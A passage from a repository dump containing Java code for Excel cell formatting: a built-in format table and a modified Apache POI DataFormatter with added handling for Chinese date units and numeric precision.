and undocumented\n\t\tfor (int i=0x17; i<=0x24; i++) {\n\t\t\t\n\t\t\t// *add by shizhongtao\n\t\t\tif(i==0x1f){\n\t\t\t\tputFormat(m, 0x1f, \"yyyy\\\"年\\\"m\\\"月\\\"d\\\"日\\\"\");\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t//end *add\n\t\t\t// TODO - one junit relies on these values which seems incorrect\n\t\t\tputFormat(m, i, \"reserved-0x\" + Integer.toHexString(i));\n\t\t}\n\n\t\tputFormat(m, 0x25, \"#,##0_);(#,##0)\");\n\t\tputFormat(m, 0x26, \"#,##0_);[Red](#,##0)\");\n\t\tputFormat(m, 0x27, \"#,##0.00_);(#,##0.00)\");\n\t\tputFormat(m, 0x28, \"#,##0.00_);[Red](#,##0.00)\");\n\t\tputFormat(m, 0x29, \"_(\\\"$\\\"* #,##0_);_(\\\"$\\\"* (#,##0);_(\\\"$\\\"* \\\"-\\\"_);_(@_)\");\n\t\tputFormat(m, 0x2a, \"_(* #,##0_);_(* (#,##0);_(* \\\"-\\\"_);_(@_)\");\n\t\tputFormat(m, 0x2b, \"_(* #,##0.00_);_(* (#,##0.00);_(* \\\"-\\\"??_);_(@_)\");\n\t\tputFormat(m, 0x2c, \"_(\\\"$\\\"* #,##0.00_);_(\\\"$\\\"* (#,##0.00);_(\\\"$\\\"* \\\"-\\\"??_);_(@_)\");\n\t\tputFormat(m, 0x2d, \"mm:ss\");\n\t\tputFormat(m, 0x2e, \"[h]:mm:ss\");\n\t\tputFormat(m, 0x2f, \"mm:ss.0\");\n\t\tputFormat(m, 0x30, \"##0.0E+0\");\n\t\tputFormat(m, 0x31, \"@\");\n\t\tString[] ss = new String[m.size()];\n\t\tm.toArray(ss);\n\t\t_formats = ss;\n\t}\n\tprivate static void putFormat(List<String> m, int index, String value) {\n\t\tif (m.size() != index) {\n\t\t\tthrow new IllegalStateException(\"index \" + index  + \" is wrong\");\n\t\t}\n\t\tm.add(value);\n\t}\n\n\n\t/**\n\t * @deprecated (May 2009) use {@link #getAll()}\n\t */\n\tpublic static Map<Integer, String> getBuiltinFormats() {\n\t\tMap<Integer, String> result = new LinkedHashMap<Integer, String>();\n\t\tfor (int i=0; i<_formats.length; i++) {\n\t\t\tresult.put(Integer.valueOf(i), _formats[i]);\n\t\t}\n\t\treturn result;\n\t}\n\n\t/**\n\t * @return array of built-in data formats\n\t */\n\tpublic static String[] getAll() {\n\t\treturn _formats.clone();\n\t}\n\n\t/**\n\t * Get the format string that matches the given format index\n\t *\n\t * @param index of a built in format\n\t * @return string represented at index of format or <code>null</code> if there is not a built-in format at that index\n\t */\n\tpublic static String getBuiltinFormat(int index) {\n\t\tif (index < 0 || index >=_formats.length) {\n\t\t\treturn null;\n\t\t}\n\t\treturn _formats[index];\n\t}\n\n\t/**\n\t * Get the format index that matches the given format string\n\t * <p/>\n\t * Automatically converts \"text\" to excel's format string to represent text.\n\t * </p>\n\t * @param pFmt string matching a built-in format\n\t * @return index of format or -1 if undefined.\n\t */\n\tpublic static int getBuiltinFormat(String pFmt) {\n\t\tString fmt;\n\t\tif (pFmt.equalsIgnoreCase(\"TEXT\")) {\n\t\t\tfmt = \"@\";\n\t\t} else {\n\t\t\tfmt = pFmt;\n\t\t}\n\n\t\tfor(int i =0; i< _formats.length; i++) {\n\t\t\tif(fmt.equals(_formats[i])) {\n\t\t\t\treturn i;\n\t\t\t}\n\t\t}\n\t\treturn -1;\n\t}\n\t\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/test/java/com/jun/plugin/poi/test/excel/reader/usermodel/ExcelDataFormatter.java",
    "content": "package com.jun.plugin.poi.test.excel.reader.usermodel;\n\nimport java.math.BigDecimal;\nimport java.math.RoundingMode;\nimport java.text.DateFormat;\nimport java.text.DateFormatSymbols;\nimport java.text.DecimalFormat;\nimport java.text.DecimalFormatSymbols;\nimport java.text.FieldPosition;\nimport java.text.Format;\nimport java.text.ParsePosition;\nimport java.text.SimpleDateFormat;\nimport java.util.ArrayList;\nimport java.util.Date;\nimport java.util.HashMap;\nimport java.util.Iterator;\nimport java.util.List;\nimport java.util.Locale;\nimport java.util.Map;\nimport java.util.Observable;\nimport java.util.Observer;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.DataFormatter;\nimport org.apache.poi.ss.usermodel.ExcelStyleDateFormatter;\nimport org.apache.poi.ss.usermodel.FormulaError;\nimport org.apache.poi.ss.usermodel.FormulaEvaluator;\nimport org.apache.poi.ss.usermodel.FractionFormat;\nimport org.apache.poi.ss.util.NumberToTextConverter;\nimport org.apache.poi.util.LocaleUtil;\n/**\n * DataFormatter contains methods for formatting the value stored in an\n * Cell. This can be useful for reports and GUI presentations when you\n * need to display data exactly as it appears in Excel. Supported formats\n * include currency, SSN, percentages, decimals, dates, phone numbers, zip\n * codes, etc.\n * <p>\n * Internally, formats will be implemented using subclasses of {@link Format}\n * such as {@link DecimalFormat} and {@link java.text.SimpleDateFormat}. Therefore the\n * formats used by this class must obey the same pattern rules as these Format\n * subclasses. This means that only legal number pattern characters (\"0\", \"#\",\n * \".\", \",\" etc.) may appear in number formats. Other characters can be\n * inserted <em>before</em> or <em> after</em> the number pattern to form a\n * prefix or suffix.\n * </p>\n * <p>\n * For example the Excel pattern <code>\"$#,##0.00 \"USD\"_);($#,##0.00 \"USD\")\"\n * </code> will be correctly formatted as \"$1,000.00 USD\" or \"($1,000.00 USD)\".\n * However the pattern <code>\"00-00-00\"</code> is incorrectly formatted by\n * DecimalFormat as \"000000--\". For Excel formats that are not compatible with\n * DecimalFormat, you can provide your own custom {@link Format} implementation\n * via <code>DataFormatter.addFormat(String,Format)</code>. The following\n * custom formats are already provided by this class:\n * </p>\n * <pre>\n * <ul><li>SSN \"000-00-0000\"</li>\n *     <li>Phone Number \"(###) ###-####\"</li>\n *     <li>Zip plus 4 \"00000-0000\"</li>\n * </ul>\n * </pre>\n * <p>\n * If the Excel format pattern cannot be parsed successfully, then a default\n * format will be used. The default number format will mimic the Excel General\n * format: \"#\" for whole numbers and \"#.##########\" for decimal numbers. You\n * can override the default format pattern with <code>\n * DataFormatter.setDefaultNumberFormat(Format)</code>. <b>Note:</b> the\n * default format will only be used when a Format cannot be created from the\n * cell's data format string.\n *\n * <p>\n * Note that by default formatted numeric values are trimmed.\n * Excel formats can contain spacers and padding and the default behavior is to strip them off.\n * </p>\n * <p>Example:</p>\n * <p>\n * Consider a numeric cell with a value <code>12.343</code> and format <code>\"##.##_ \"</code>.\n *  The trailing underscore and space (\"_ \") in the format adds a space to the end and Excel formats this cell as <code>\"12.34 \"</code>,\n *  but <code>DataFormatter</code> trims the formatted value and returns <code>\"12.34\"</code>.\n * </p>\n * You can enable spaces by passing the <code>emulateCsv=true</code> flag in the <code>DateFormatter</code> cosntructor.\n * If set to true, then the output tries to conform to what you get when you take an xls or xlsx in Excel and Save As CSV file:\n * <ul>\n *  <li>returned values are not trimmed</li>\n *  <li>Invalid dates are formatted as  255 pound signs (\"#\")</li>\n *  <li>simulate Excel's handling of a format string of all # when the value is 0.\n *   Excel will output \"\", <code>DataFormatter</code> will output \"0\".\n * </ul>\n * Modified 02/01/2016 by shizhongtao - * \n */\npublic class ExcelDataFormatter implements Observer{\n\n\tprivate boolean ignoreNumFormat=false;\n\t\n\tprivate static final ThreadLocal<SimpleDateFormat> localFormat=new ThreadLocal<>();\n\t\n    private static final String defaultFractionWholePartFormat = \"#\";\n    private static final String defaultFractionFractionPartFormat = \"#/##\";\n    /** Pattern to find a number format: \"0\" or  \"#\" */\n    private static final Pattern numPattern = Pattern.compile(\"[0#]+\");\n\n    /** Pattern to find days of week as text \"ddd....\" */\n    private static final Pattern daysAsText = Pattern.compile(\"([d]{3,})\", Pattern.CASE_INSENSITIVE);\n\n    /** Pattern to find \"AM/PM\" marker */\n    private static final Pattern amPmPattern = Pattern.compile(\"((A|P)[M/P]*)\", Pattern.CASE_INSENSITIVE);\n    private static final Pattern chineseConvertorPatternGroup = Pattern.compile(\"(\\\\[DBNum\\\\d\\\\])\");\n\n    /** \n     * A regex to find locale patterns like [$$-1009] and [$?-452].\n     * Note that we don't currently process these into locales \n     */\n    private static final Pattern localePatternGroup = Pattern.compile(\"(\\\\[\\\\$[^-\\\\]]*-[0-9A-Z]+\\\\])\");\n\n    /**\n     * A regex to match the colour formattings rules.\n     * Allowed colours are: Black, Blue, Cyan, Green,\n     *  Magenta, Red, White, Yellow, \"Color n\" (1<=n<=56)\n     */\n    private static final Pattern colorPattern = \n       Pattern.compile(\"(\\\\[BLACK\\\\])|(\\\\[BLUE\\\\])|(\\\\[CYAN\\\\])|(\\\\[GREEN\\\\])|\" +\n       \t\t\"(\\\\[MAGENTA\\\\])|(\\\\[RED\\\\])|(\\\\[WHITE\\\\])|(\\\\[YELLOW\\\\])|\" +\n       \t\t\"(\\\\[COLOR\\\\s*\\\\d\\\\])|(\\\\[COLOR\\\\s*[0-5]\\\\d\\\\])\", Pattern.CASE_INSENSITIVE);\n\n    /**\n     * A regex to identify a fraction pattern.\n     * This requires that replaceAll(\"\\\\?\", \"#\") has already been called \n     */\n    private static final Pattern fractionPattern = Pattern.compile(\"(?:([#\\\\d]+)\\\\s+)?(#+)\\\\s*\\\\/\\\\s*([#\\\\d]+)\");\n\n    /**\n     * A regex to strip junk out of fraction formats\n     */\n    private static final Pattern fractionStripper = Pattern.compile(\"(\\\"[^\\\"]*\\\")|([^ \\\\?#\\\\d\\\\/]+)\");\n\n    /**\n      * Cells formatted with a date or time format and which contain invalid date or time values\n     *  show 255 pound signs (\"#\").\n      */\n     private static final String invalidDateTimeString;\n     static {\n         StringBuilder buf = new StringBuilder();\n         for(int i = 0; i < 255; i++) buf.append('#');\n         invalidDateTimeString = buf.toString();\n     }\n\n    /**\n     * The decimal symbols of the locale used for formatting values.\n     */\n    private DecimalFormatSymbols decimalSymbols;\n\n    /**\n     * The date symbols of the locale used for formatting values.\n     */\n    private DateFormatSymbols dateSymbols;\n\n    /** <em>General</em> format for whole numbers. */\n    private Format generalWholeNumFormat;\n\n    /** <em>General</em> format for decimal numbers. */\n    private Format generalDecimalNumFormat;\n\n    /** A default format to use when a number pattern cannot be parsed. */\n    private Format defaultNumFormat;\n\n    /**\n     * A map to cache formats.\n     *  Map<String,Format> formats\n     */\n    private final Map<String,Format> formats = new HashMap<String,Format>();\n\n    private boolean emulateCsv = false;\n\n    /** stores the locale valid it the last formatting call */\n    private Locale locale;\n    \n    /** stores if the locale should change according to {@link LocaleUtil#getUserLocale()} */\n    private boolean localeIsAdapting = true;\n    \n    private class LocaleChangeObservable extends Observable {\n        void checkForLocaleChange() {\n            checkForLocaleChange(LocaleUtil.getUserLocale());\n        }\n        void checkForLocaleChange(Locale newLocale) {\n            if (!localeIsAdapting) return;\n            if (newLocale.equals(locale)) return;\n            super.setChanged();\n            notifyObservers(newLocale);\n        }\n    }\n    \n    /** the Observable to notify, when the locale has been changed */\n    private final LocaleChangeObservable localeChangedObervable = new LocaleChangeObservable();\n    \n    /**\n     * Creates a formatter using the {@link Locale#getDefault() default locale}.\n     */\n    public ExcelDataFormatter() {\n        this(false);\n        this.localeIsAdapting = true;\n    }\n\n    /**\n     * Creates a formatter using the {@link Locale#getDefault() default locale}.\n     *\n     * @param  emulateCsv whether to emulate CSV output.\n     */\n    public ExcelDataFormatter(boolean emulateCsv) {\n        this(LocaleUtil.getUserLocale(), emulateCsv);\n        this.localeIsAdapting = true;\n    }\n\n    /**\n     * Creates a formatter using the given locale.\n     *\n     * @param  emulateCsv whether to emulate CSV output.\n     */\n    public ExcelDataFormatter(Locale locale, boolean emulateCsv) {\n        this(locale);\n        this.emulateCsv = emulateCsv;\n    }\n\n    /**\n     * Creates a formatter using the given locale.\n     */\n    public ExcelDataFormatter(Locale locale) {\n        localeChangedObervable.addObserver(this);\n        localeChangedObervable.checkForLocaleChange(locale);\n        this.localeIsAdapting = false;\n    }\n\n    /**\n     * Return a Format for the given cell if one exists, otherwise try to\n     * create one. This method will return <code>null</code> if the any of the\n     * following is true:\n     * <ul>\n     * <li>the cell's style is null</li>\n     * <li>the style's data format string is null or empty</li>\n     * <li>the format string cannot be recognized as either a number or date</li>\n     * </ul>\n     *\n     * @param cell The cell to retrieve a Format for\n     * @return A Format for the format String\n     */\n    private Format getFormat(Cell cell) {\n        if ( cell.getCellStyle() == null) {\n            return null;\n        }\n\n        int formatIndex = cell.getCellStyle().getDataFormat();\n        String formatStr = cell.getCellStyle().getDataFormatString();\n        if(formatStr == null || formatStr.trim().length() == 0) {\n            return null;\n        }\n        return getFormat(cell.getNumericCellValue(), formatIndex, formatStr);\n    }\n\n    private Format getFormat(double cellValue, int formatIndex, String formatStrIn) {\n        localeChangedObervable.checkForLocaleChange();\n        \n//      // Might be better to separate out the n p and z formats, falling back to p when n and z are not set.\n//      // That however would require other code to be re factored.\n//      String[] formatBits = formatStrIn.split(\";\");\n//      int i = cellValue > 0.0 ? 0 : cellValue < 0.0 ? 1 : 2; \n//      String formatStr = (i < formatBits.length) ? formatBits[i] : formatBits[0];\n\n        String formatStr = formatStrIn;\n        // Excel supports positive/negative/zero, but java\n        // doesn't, so we need to do it specially\n        final int firstAt = formatStr.indexOf(';');\n        final int lastAt = formatStr.lastIndexOf(';');\n        // p and p;n are ok by default. p;n;z and p;n;z;s need to be fixed.\n        if (firstAt != -1 && firstAt != lastAt) {\n            final int secondAt = formatStr.indexOf(';', firstAt + 1);\n            if (secondAt == lastAt) { // p;n;z\n                if (cellValue == 0.0) {\n                    formatStr = formatStr.substring(lastAt + 1);\n                } else {\n                    formatStr = formatStr.substring(0, lastAt);\n                }\n            } else {\n                if (cellValue == 0.0) { // p;n;z;s\n                    formatStr = formatStr.substring(secondAt + 1, lastAt);\n                } else {\n                    formatStr = formatStr.substring(0, secondAt);\n                }\n            }\n        }\n\n       // Excel's # with value 0 will output empty where Java will output 0. This hack removes the # from the format.\n       if (emulateCsv && cellValue == 0.0 && formatStr.contains(\"#\") && !formatStr.contains(\"0\")) {\n           formatStr = formatStr.replaceAll(\"#\", \"\");\n       }\n       \n        // See if we already have it cached\n        Format format = formats.get(formatStr);\n        if (format != null) {\n            return format;\n        }\n        \n        // Is it one of the special built in types, General or @?\n        if (\"General\".equalsIgnoreCase(formatStr) || \"@\".equals(formatStr)) {\n            if (isWholeNumber(cellValue)) {\n                return generalWholeNumFormat;\n            }\n            return generalDecimalNumFormat;\n        }\n        \n        // Build a formatter, and cache it\n        format = createFormat(cellValue, formatIndex, formatStr);\n        formats.put(formatStr, format);\n        return format;\n    }\n\n    /**\n     * Create and return a Format based on the format string from a  cell's\n     * style. If the pattern cannot be parsed, return a default pattern.\n     *\n     * @param cell The Excel cell\n     * @return A Format representing the excel format. May return null.\n     */\n    public Format createFormat(Cell cell) {\n\n        int formatIndex = cell.getCellStyle().getDataFormat();\n        String formatStr = cell.getCellStyle().getDataFormatString();\n        return createFormat(cell.getNumericCellValue(), formatIndex, formatStr);\n    }\n\n    private Format createFormat(double cellValue, int formatIndex, String sFormat) {\n        localeChangedObervable.checkForLocaleChange();\n        \n        String formatStr = sFormat;\n        \n        // Remove colour formatting if present\n        Matcher colourM = colorPattern.matcher(formatStr);\n        while(colourM.find()) {\n           String colour = colourM.group();\n           \n           // Paranoid replacement...\n           int at = formatStr.indexOf(colour);\n           if(at == -1) break;\n           String nFormatStr = formatStr.substring(0,at) +\n              formatStr.substring(at+colour.length());\n           if(nFormatStr.equals(formatStr)) break;\n\n           // Try again in case there's multiple\n           formatStr = nFormatStr;\n           colourM = colorPattern.matcher(formatStr);\n        }\n\n        // Strip off the locale information, we use an instance-wide locale for everything\n        Matcher m = localePatternGroup.matcher(formatStr);\n        while(m.find()) {\n            String match = m.group();\n            String symbol = match.substring(match.indexOf('$') + 1, match.indexOf('-'));\n            if (symbol.indexOf('$') > -1) {\n                StringBuffer sb = new StringBuffer();\n                sb.append(symbol.substring(0, symbol.indexOf('$')));\n                sb.append('\\\\');\n                sb.append(symbol.substring(symbol.indexOf('$'), symbol.length()));\n                symbol = sb.toString();\n            }\n            formatStr = m.replaceAll(symbol);\n            m = localePatternGroup.matcher(formatStr);\n        }\n\n        // Check for special cases\n        if(formatStr == null || formatStr.trim().length() == 0) {\n            return getDefaultFormat(cellValue);\n        }\n        \n        if (\"General\".equalsIgnoreCase(formatStr) || \"@\".equals(formatStr)) {\n           if (isWholeNumber(cellValue)) {\n               return generalWholeNumFormat;\n           }\n           return generalDecimalNumFormat;\n        }\n\n        if(ExcelDateUtil.isADateFormat(formatIndex,formatStr) &&\n                ExcelDateUtil.isValidExcelDate(cellValue)) {\n            return createDateFormat(formatStr, cellValue);\n        }\n        // Excel supports fractions in format strings, which Java doesn't\n        if (formatStr.indexOf(\"#/\") >= 0 || formatStr.indexOf(\"?/\") >= 0) {\n            String[] chunks = formatStr.split(\";\");\n            for (int i = 0; i < chunks.length; i++){\n                String chunk = chunks[i].replaceAll(\"\\\\?\", \"#\");\n                Matcher matcher = fractionStripper.matcher(chunk);\n                chunk = matcher.replaceAll(\" \");\n                chunk = chunk.replaceAll(\" +\", \" \");\n                Matcher fractionMatcher = fractionPattern.matcher(chunk);\n                //take the first match\n                if (fractionMatcher.find()){\n                    String wholePart = (fractionMatcher.group(1) == null) ? \"\" : defaultFractionWholePartFormat;\n                    return new FractionFormat(wholePart, fractionMatcher.group(3));\n                }\n            }\n            \n            // Strip custom text in quotes and escaped characters for now as it can cause performance problems in fractions.\n            //String strippedFormatStr = formatStr.replaceAll(\"\\\\\\\\ \", \" \").replaceAll(\"\\\\\\\\.\", \"\").replaceAll(\"\\\"[^\\\"]*\\\"\", \" \").replaceAll(\"\\\\?\", \"#\");\n            //System.out.println(\"formatStr: \"+strippedFormatStr);\n            return new FractionFormat(defaultFractionWholePartFormat, defaultFractionFractionPartFormat);\n        }\n        \n        if (numPattern.matcher(formatStr).find()) {\n            return createNumberFormat(formatStr, cellValue);\n        }\n\n        if (emulateCsv) {\n            return new ConstantStringFormat(cleanFormatForNumber(formatStr));\n        }\n        // TODO - when does this occur?\n        return null;\n    }\n    \n \n\n    private Format createDateFormat(String pFormatStr, double cellValue) {\n        String formatStr = pFormatStr;\n        formatStr = formatStr.replaceAll(\"\\\\\\\\-\",\"-\");\n        formatStr = formatStr.replaceAll(\"\\\\\\\\,\",\",\");\n        formatStr = formatStr.replaceAll(\"\\\\\\\\\\\\.\",\".\"); // . is a special regexp char\n        formatStr = formatStr.replaceAll(\"\\\\\\\\ \",\" \");\n        formatStr = formatStr.replaceAll(\"\\\\\\\\/\",\"/\"); // weird: m\\\\/d\\\\/yyyy \n        formatStr = formatStr.replaceAll(\";@\", \"\");\n        formatStr = formatStr.replaceAll(\"\\\"/\\\"\", \"/\"); // \"/\" is escaped for no reason in: mm\"/\"dd\"/\"yyyy\n        formatStr = formatStr.replace(\"\\\"\\\"\", \"'\");\t// replace Excel quoting with Java style quoting\n        formatStr = formatStr.replaceAll(\"\\\\\\\\T\",\"'T'\"); // Quote the T is iso8601 style dates\n\n\n        boolean hasAmPm = false;\n        Matcher amPmMatcher = amPmPattern.matcher(formatStr);\n        while (amPmMatcher.find()) {\n            formatStr = amPmMatcher.replaceAll(\"@\");\n            hasAmPm = true;\n            amPmMatcher = amPmPattern.matcher(formatStr);\n        }\n        formatStr = formatStr.replaceAll(\"@\", \"a\");\n        //TODO 如果实现中文方法表示数字的还，修改此处\n        Matcher convertorMatcher = chineseConvertorPatternGroup.matcher(formatStr);\n        while (convertorMatcher.find()) {\n            formatStr = convertorMatcher.replaceAll(\"\");\n            convertorMatcher = chineseConvertorPatternGroup.matcher(formatStr);\n        }\n        \n        \n        \n        Matcher dateMatcher = daysAsText.matcher(formatStr);\n        if (dateMatcher.find()) {\n            String match = dateMatcher.group(0).toUpperCase(Locale.ROOT).replaceAll(\"D\", \"E\");\n            formatStr = dateMatcher.replaceAll(match);\n        }\n\n        // Convert excel date format to SimpleDateFormat.\n        // Excel uses lower and upper case 'm' for both minutes and months.\n        // From Excel help:\n        /*\n            The \"m\" or \"mm\" code must appear immediately after the \"h\" or\"hh\"\n            code or immediately before the \"ss\" code; otherwise, Microsoft\n            Excel displays the month instead of minutes.\"\n          */\n        //start shizhongtao bing\n       \n        StringBuilder sb = new StringBuilder();\n        char[] chars = formatStr.toCharArray();\n        boolean mIsMonth = true;\n        List<Integer> ms = new ArrayList<Integer>();\n        boolean isElapsed = false;\n        for(int j=0; j<chars.length; j++) {\n        \t\n            char c = chars[j];\n            if (c == '\\'') {\n                sb.append(c);\n                j++;\n\n                // skip until the next quote\n                while(j<chars.length) {\n                    c = chars[j];\n                    sb.append(c);\n                    if(c == '\\'') {\n                        break;\n                    }\n                    j++;\n                }\n            }\n            else if (c == '[' && !isElapsed) {\n                isElapsed = true;\n                mIsMonth = false;\n                sb.append(c);\n            }\n            else if (c == ']' && isElapsed) {\n                isElapsed = false;\n                sb.append(c);\n            }\n            else if (isElapsed) {\n            if (c == 'h' || c == 'H') {\n                    sb.append('H');\n                }\n                else if (c == 'm' || c == 'M') {\n                    sb.append('m');\n                }\n                else if (c == 's' || c == 'S') {\n                    sb.append('s');\n                }\n                else {\n                    sb.append(c);\n                }\n            }\n            else if (c == 'h' || c == 'H') {\n                mIsMonth = false;\n                if (hasAmPm) {\n                    sb.append('h');\n                } else {\n                    sb.append('H');\n                }\n            }\n            else if (c == 'm' || c == 'M') {\n                if(mIsMonth) {\n                    sb.append('M');\n                    ms.add(\n                            Integer.valueOf(sb.length() -1)\n                    );\n                } else {\n                    sb.append('m');\n                }\n            }\n            else if (c == 's' || c == 'S') {\n                sb.append('s');\n                // if 'M' precedes 's' it should be minutes ('m')\n                for (int i = 0; i < ms.size(); i++) {\n                    int index = ms.get(i).intValue();\n                    if (sb.charAt(index) == 'M') {\n                        sb.replace(index, index+1, \"m\");\n                    }\n                }\n                mIsMonth = true;\n                ms.clear();\n            }\n            else if (Character.isLetter(c)) {\n                mIsMonth = true;\n                ms.clear();\n                if (c == 'y' || c == 'Y') {\n                    sb.append('y');\n                }\n                else if (c == 'd' || c == 'D') {\n                    sb.append('d');\n                }\n                else {\n                    sb.append(c);\n                }\n            }\n            else {\n                sb.append(c);\n            }\n        }\n        formatStr = sb.toString();\n      //去掉中文单位上的引号\n        Pattern date_chinese = Pattern.compile(\"\\\"([年月日时分秒]|(上午)|(下午))\\\"\");\n\t\t Matcher matcher = date_chinese.matcher(formatStr);\n\t\t List<Integer> m = new ArrayList<>();\n\t\twhile(matcher.find()){\n\t\t\t\t  m.add(matcher.start());\n\t\t\t\t  m.add(matcher.end()-1);\n\t\t\t  }\n\t\tchar[] cs = formatStr.toCharArray();\n\t\tStringBuilder sbL=new StringBuilder();\n\t\t for(int j=0; j<cs.length; j++) {\n\t\t\t if(m.contains(j)){\n\t\t\t\t continue;\n\t\t\t }\n\t\t\t sbL.append(cs[j]);\n\t\t }\n\t\t formatStr=sbL.toString();\n\t\t//end  \n        try {\n            return new ExcelStyleDateFormatter(formatStr, dateSymbols);\n        } catch(IllegalArgumentException iae) {\n\n            // the pattern could not be parsed correctly,\n            // so fall back to the default number format\n            return getDefaultFormat(cellValue);\n        }\n\n    }\n\n    private String cleanFormatForNumber(String formatStr) {\n        StringBuilder sb = new StringBuilder(formatStr);\n\n        if (emulateCsv) {\n            // Requested spacers with \"_\" are replaced by a single space.\n            // Full-column-width padding \"*\" are removed.\n            // Not processing fractions at this time. Replace ? with space.\n            // This matches CSV output.\n            for (int i = 0; i < sb.length(); i++) {\n                char c = sb.charAt(i);\n                if (c == '_' || c == '*' || c == '?') {\n                    if (i > 0 && sb.charAt((i - 1)) == '\\\\') {\n                        // It's escaped, don't worry\n                        continue;\n                    }\n                    if (c == '?') {\n                        sb.setCharAt(i, ' ');\n                    } else if (i < sb.length() - 1) {\n                        // Remove the character we're supposed\n                        //  to match the space of / pad to the\n                        //  column width with\n                        if (c == '_') {\n                            sb.setCharAt(i + 1, ' ');\n                        } else {\n                            sb.deleteCharAt(i + 1);\n                        }\n                        // Remove the character too\n                        sb.deleteCharAt(i);\n                        i--;\n                    }\n                }\n            }\n        } else {\n            // If they requested spacers, with \"_\",\n            //  remove those as we don't do spacing\n            // If they requested full-column-width\n            //  padding, with \"*\", remove those too\n            for (int i = 0; i < sb.length(); i++) {\n                char c = sb.charAt(i);\n                if (c == '_' || c == '*') {\n                    if (i > 0 && sb.charAt((i - 1)) == '\\\\') {\n                        // It's escaped, don't worry\n                        continue;\n                    }\n                    if (i < sb.length() - 1) {\n                        // Remove the character we're supposed\n                        //  to match the space of / pad to the\n                        //  column width with\n                        sb.deleteCharAt(i + 1);\n                    }\n                    // Remove the _ too\n                    sb.deleteCharAt(i);\n                    i--;\n                }\n            }\n        }\n\n        // Now, handle the other aspects like \n        //  quoting and scientific notation\n        for(int i = 0; i < sb.length(); i++) {\n           char c = sb.charAt(i);\n            // remove quotes and back slashes\n            if (c == '\\\\' || c == '\"') {\n                sb.deleteCharAt(i);\n                i--;\n\n            // for scientific/engineering notation\n            } else if (c == '+' && i > 0 && sb.charAt(i - 1) == 'E') {\n                sb.deleteCharAt(i);\n                i--;\n            }\n        }\n\n        return sb.toString();\n    }\n\n    private Format createNumberFormat(String formatStr, double cellValue) {\n        final String format = cleanFormatForNumber(formatStr);\n        \n        try {\n            DecimalFormat df = new DecimalFormat(format, decimalSymbols);\n            setExcelStyleRoundingMode(df);\n            return df;\n        } catch(IllegalArgumentException iae) {\n\n            // the pattern could not be parsed correctly,\n            // so fall back to the default number format\n            return getDefaultFormat(cellValue);\n        }\n    }\n\n    /**\n     * Return true if the double value represents a whole number\n     * @param d the double value to check\n     * @return <code>true</code> if d is a whole number\n     */\n    private static boolean isWholeNumber(double d) {\n        return d == Math.floor(d);\n    }\n\n    /**\n     * Returns a default format for a cell.\n     * @param cell The cell\n     * @return a default format\n     */\n    public Format getDefaultFormat(Cell cell) {\n        return getDefaultFormat(cell.getNumericCellValue());\n    }\n    private Format getDefaultFormat(double cellValue) {\n        localeChangedObervable.checkForLocaleChange();\n        \n        // for numeric cells try user supplied default\n        if (defaultNumFormat != null) {\n            return defaultNumFormat;\n\n          // otherwise use general format\n        }\n        if (isWholeNumber(cellValue)){\n            return generalWholeNumFormat;\n        }\n        return generalDecimalNumFormat;\n    }\n    \n    /**\n     * Performs Excel-style date formatting, using the\n     *  supplied Date and format\n     */\n    private String performDateFormatting(Date d, Format dateFormat) {\n       if(dateFormat != null) {\n          return dateFormat.format(d);\n      }\n      return d.toString();\n    }\n\n    /**\n     * Returns the formatted value of an Excel date as a <tt>String</tt> based\n     * on the cell's <code>DataFormat</code>. i.e. \"Thursday, January 02, 2003\"\n     * , \"01/02/2003\" , \"02-Jan\" , etc.\n     *\n     * @param cell The cell\n     * @return a formatted date string\n     */\n    private String getFormattedDateString(Cell cell) {\n        Format dateFormat = getFormat(cell);\n        if(dateFormat instanceof ExcelStyleDateFormatter) {\n           // Hint about the raw excel value\n           ((ExcelStyleDateFormatter)dateFormat).setDateToBeFormatted(\n                 cell.getNumericCellValue()\n           );\n        }\n        Date d = cell.getDateCellValue();\n        return performDateFormatting(d, dateFormat);\n    }\n\n    /**\n     * Returns the formatted value of an Excel number as a <tt>String</tt>\n     * based on the cell's <code>DataFormat</code>. Supported formats include\n     * currency, percents, decimals, phone number, SSN, etc.:\n     * \"61.54%\", \"$100.00\", \"(800) 555-1234\".\n     *\n     * @param cell The cell\n     * @return a formatted number string\n     */\n    private String getFormattedNumberString(Cell cell) {\n\n        Format numberFormat = getFormat(cell);\n        double d = cell.getNumericCellValue();\n        if (numberFormat == null) {\n            return String.valueOf(d);\n        }\n        return numberFormat.format(new Double(d));\n    }\n\n    /**\n     * Formats the given raw cell value, based on the supplied\n     *  format index and string, according to excel style rules.\n     * @see #formatCellValue(Cell)\n     */\n    public String formatRawCellContents(double value, int formatIndex, String formatString) {\n        return formatRawCellContents(value, formatIndex, formatString, false);\n    }\n    /**\n     * Formats the given raw cell value, based on the supplied\n     *  format index and string, according to excel style rules.\n     * @see #formatCellValue(Cell)\n     */\n    public String formatRawCellContents(double value, int formatIndex, String formatString, boolean use1904Windowing) {\n        localeChangedObervable.checkForLocaleChange();\n        \n        // Is it a date?\n        if(ExcelDateUtil.isADateFormat(formatIndex,formatString)) {\n            if(ExcelDateUtil.isValidExcelDate(value)) {\n            \tFormat dateFormat ;\n            \tif(ignoreNumFormat){\n            \t\tdateFormat = getDateFormat();\n            \t}else{\n            \t\tdateFormat = getFormat(value, formatIndex, formatString);\n            \t}\n                if(dateFormat instanceof ExcelStyleDateFormatter) {\n                    // Hint about the raw excel value\n                    ((ExcelStyleDateFormatter)dateFormat).setDateToBeFormatted(value);\n                }\n                Date d = ExcelDateUtil.getJavaDate(value, use1904Windowing);\n                return performDateFormatting(d, dateFormat);\n            }\n            // RK: Invalid dates are 255 #s.\n            if (emulateCsv) {\n                return invalidDateTimeString;\n            }\n        }\n        \n        // else Number\n        if(ignoreNumFormat){\n        \tString re= generalDecimalNumFormat.format(value);\n        \tint reLength = re.length();\n        \t/*\n        \t * FIXME 在excel中，所能表达的double类型最多15个数字。而在excel底层存储中却可以存储到17？18？位数字，\n        \t * 并且（由于excle的bug）？，比如-60.704会在底层存储为-60.7040000000000001，从而读取数据与excel中看到的\n        \t * 不一致。顾此处临时解决这个问题\n        \t * \n        \t */\n        \tif(reLength>16){\n        \t\tint index=re.indexOf('.');\n        \t\tif(re.startsWith(\"-\")){\n    \t\t\t\tindex-=1;\n    \t\t\t}\n        \t\tif(index>0&&index<15){\n        \t\t\t\n        